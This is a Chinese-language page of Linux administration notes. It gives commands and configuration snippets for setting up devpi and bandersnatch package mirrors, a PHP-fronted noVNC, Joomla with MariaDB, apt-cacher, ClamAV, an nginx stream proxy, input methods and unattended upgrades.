mv /usr/lib/python3.11/EXTERNALLY-MANAGED /usr/lib/python3.11/EXTERNALLY-MANAGED.bk
pip install -q -U devpi-server devpi-web --root-user-action=ignore
產生設定檔
adduser devpi
su devpi -
cd ~
devpi-init
devpi-gen-config --host 0.0.0.0 --port 3141
安裝服務
cp /home/devpi/gen-config/devpi.service /etc/systemd/system/
systemctl enable devpi
測試
http://127.0.0.1:3141/
http://127.0.0.1:3141/root/pypi/+simple/
相關指令及目錄
devpi-gen-config --help
/usr/local/bin/devpi-server
/home/devpi/.devpi
使用方式
使用指令列安裝加入相關參數
pip install -i http://devpi.loc/root/pypi/+simple/ –trusted-host devpi.loc package_name
或編輯 ~/.pip/pip.conf 設定檔
[global]
index-url = http://devpi.loc/root/pypi/+simple/
[install]
trusted-host=devpi.loc
pip install -i http://<devpi-host>:3141/root/pypi/+simple/ simplejson --break-system-packages --trusted-host <devpi-host>
相關文件
https://devpi.net/docs/devpi/devpi/6.13/+d/index.html
<?php
$f = "1.woff";
$fi = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $fi->file($f);
echo $mime_type;
echo (new finfo(FILEINFO_MIME_TYPE))->file($f);
?>
安裝
apt install -y novnc apache2 php
Apache Module 設定
a2enmod rewrite
a2enmod headers
Apache VirtualHost <Directory> or <Location>設定
Header set Cache-Control "no-cache"
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [L]
index.php 內容
<?php
$NOVNC = "/usr/share/novnc/vnc.html";
$NOVNC = "/usr/share/novnc/v.html";
$NOVNC_DIR = dirname($NOVNC);
if($_SERVER["SCRIPT_URL"]=="/xxx") {
if($_REQUEST['host']!='') exit();
header("Content-Type: text/html");
readfile($NOVNC);
exit();
}
//novnc file_exists
$_t = $NOVNC_DIR . $_SERVER["SCRIPT_URL"];
if(file_exists($_t)) {
switch(pathinfo($_t, PATHINFO_EXTENSION)){
case "":
case "htm":
case "html":
case "pl":
case "md": exit(); break;
case "css": $x = "text/css"; break;
case "js" : $x = "text/javascript"; break;
default: $x = (new finfo(FILEINFO_MIME_TYPE))->file($_t);
}
header("Content-Type: $x");
readfile($_t);
exit();
}
?>
隱藏 Clipboard Connection Controls
修改 /usr/share/novnc/vnc.html
<!-- Clipboard -->
<input type="hidden" alt="Clipboard" src="app/images/clipboard.svg"
id="noVNC_clipboard_button" class="noVNC_button"
<!-- Connection Controls -->
<input type="hidden" alt="Disconnect" src="app/images/disconnect.svg"
id="noVNC_disconnect_button" class="noVNC_button"
title="Disconnect">
系統最低需求
PHP 8.1.0 (Modules: json, simplexml, dom, zlib, gd, mysqlnd or pdo_mysql or pdo_pgsql)
MySQL 8.0.13 / MariaDB 10.4.0 / PostgreSQL 12.0
Apache 2.4 / Nginx 1.21 / Microsoft IIS 10
安裝範例
apt update;apt upgrade -y;apt install -y busybox wget
apt install nginx / apt install -y apache2
apt install -y php php-common php-curl php-fpm php-imap php-cli php-xml php-zip php-mbstring php-gd php-mysql
apt install -y mariadb-server mariadb-client
systemctl start mariadb;systemctl enable mariadb
export h=/var/www/html/joomla
mkdir -p ${h}; cd ${h}
wget -q -O- https://downloads.joomla.org/zh/cms/joomla5/5-2-4/Joomla_5-2-4-Stable-Full_Package.zip?format=zip|busybox unzip -
chown -R www-data:www-data ${h}
cd -
mysql -u root
MariaDB [(none)]> CREATE DATABASE joomla_db;
MariaDB [(none)]> CREATE USER joomla_user@'localhost' IDENTIFIED BY 'joomla5_p@ssw0rd';
MariaDB [(none)]> GRANT ALL on joomla_db.* to joomla_user@localhost;
MariaDB [(none)]> FLUSH PRIVILEGES;
MariaDB [(none)]> EXIT
安裝
apt install -y pip
pip install bandersnatch --break-system-packages
產生 /etc/bandersnatch.conf 設定檔
bandersnatch mirror
修改 /etc/bandersnatch.conf 設定檔
執行同步
bandersnatch mirror
安裝
apt install -y apt-cacher
編輯 /etc/apt-cacher/apt-cacher.conf
allowed_hosts = 192.168.0.0/16
allowed_hosts = *
distinct_namespaces = 1
相關目錄
/var/cache/apt-cacher
使用端設定
編輯 /etc/apt/apt.conf.d/90-apt-proxy.conf 加入
Acquire::http::Proxy "http://<apt-cacher-host>:3142";
Acquire::https::Proxy "http://<apt-cacher-host>:3142";
Acquire::HTTPS::proxy "DIRECT";
安裝環境設定
apt install git gcc libconfig-dev libcairo2-dev libxi-dev libx11-dev x11proto-core-dev x11proto-dev \
libxt-dev libxext-dev libxfixes-dev libxinerama-dev libxrandr-dev libwayland-dev wayland-protocols libpango1.0-dev
安裝
git clone https://github.com/MrGlockenspiel/activate-linux
cd activate-linux/
make
make install
執行
export DISPLAY=:0.0;
/usr/local/bin/activate-linux
安裝
sudo apt install -y clamav clamav-daemon clamtk
相關服務
clamav-daemon
clamav-daemon.socket
clamav-freshclam
相關設定檔案及目錄
/var/lib/clamav
/var/log/clamav
/etc/clamav/freshclam.conf
/etc/clamav/clamd.conf
~/.clamtk/db/freshclam.conf
病毒碼 更新 Proxy
編輯 /etc/freshclam.conf 加入
# Proxy settings
# Default: disabled
#HTTPProxyServer myproxy.com
#HTTPProxyPort 1234
#HTTPProxyUsername myusername
#HTTPProxyPassword mypass
# If your servers are behind a firewall/proxy which applies User-Agent
# filtering you can use this option to force the use of a different
# User-Agent header.
# Default: clamav/version_number
#HTTPUserAgent SomeUserAgentIdString
手動掃描
clamscan /path/to/directory
clamscan -r --remove /path/to/directory
clamscan -r --bell -i /path/to/directory
安裝
apt install -y nginx libnginx-mod-stream
編輯 /etc/nginx/nginx.conf 加入
stream {
server {
listen 3389;
proxy_pass 10.10.10.10:3389;
}
}
stream {
server {
listen 443;
proxy_pass admin;
}
upstream admin {
server 10.10.10.10:443;
}
}
<?php
$cmd = "sqlite3 1.db ";
$interactive_cmd = "insert into a (a1,a2) values('中文','許');";
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr ?? instead of a file
);
$stdout = "";
$stderr = "";
$process = proc_open($cmd, $descriptorspec, $pipes, NULL);
if (is_resource($process)) {
fwrite($pipes[0], $interactive_cmd . PHP_EOL);
fclose($pipes[0]);
while($s= fgets($pipes[1], 1024)) $stdout .= $s; // read from the pipe
fclose($pipes[1]);
// stderr optional:
while($s= fgets($pipes[2], 1024)) $stderr .= $s;
fclose($pipes[2]);
}
echo "stdout: $stdout \nstderr: $stderr\n";
?>
編輯 /etc/udisks2/mount_options.conf 加入
[defaults]
defaults=ro
allow=exec,noexec,nodev,nosuid,atime,noatime,nodiratime,ro,sync,dirsync,noload
重新啟動服務
systemctl restart udisks2
參考
https://storaged.org/doc/udisks2-api/latest/mount_options.html
編輯 /etc/pam.d/login 加入
account required /lib/security/pam_access.so
編輯 /etc/security/access.conf 加入
-:ALL EXCEPT root:tty1 tty2 tty3 tty4 tty5 tty6
安裝
apt install -y ibus-table
apt install -y ibus-chewing ibus-zhuyin ibus-table-easy ibus-table-easy-big
相關目錄
/usr/share/ibus-table/tables/
/usr/share/ibus-table/icons/
相關指令
ibus-table-createdb
ibus-setup
ibus restart
im-config #apt install -y zenity
安裝
sudo apt install fcitx5 fcitx5-* # 全部Fcitx5支援的輸入法
sudo apt install fcitx5-chinese-addons fcitx5-chewing # 只安裝新酷音注音
sudo apt install fcitx5-table-easy-large fcitx5-chinese-addons #只安裝輕鬆
sudo apt install fcitx5-frontend-gtk2 fcitx5-frontend-gtk3 fcitx5-frontend-gtk4 fcitx5-frontend-qt5 fcitx5-frontend-qt6
執行
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx
export DefaultIMModule=fcitx
fcitx-autostart &>/dev/null
相關設定
im-config
fcitx5-configtool
export WAYLAND_DISPLAY='wayland-0' DISPLAY=':0'
sudo apt install ibus-table
git clone https://github.com/daineseh/liu_ibus_table
cd liu_ibus_table
sudo ibus-table-createdb -s liu_ibus_table.txt -n liu.db
sudo cp liu.db /usr/share/ibus-table/tables/
sudo cp liu.png /usr/share/ibus-table/icons/
安裝
sudo apt update && apt upgrade
sudo apt install unattended-upgrades apt-listchanges -y
sudo systemctl enable unattended-upgrades
sudo systemctl start unattended-upgrades
編輯設定檔
/etc/apt/apt.conf.d/50unattended-upgrades
自動執行設定
dpkg-reconfigure unattended-upgrades
dpkg-reconfigure -f noninteractive unattended-upgrades
相關設定檔 /etc/apt/apt.conf.d/20auto-upgrades
測試
unattended-upgrades --dry-run --debug
參考文件
https://wiki.debian.org/UnattendedUpgrades
loginctl list-sessions
loginctl unlock-session SESSION-ID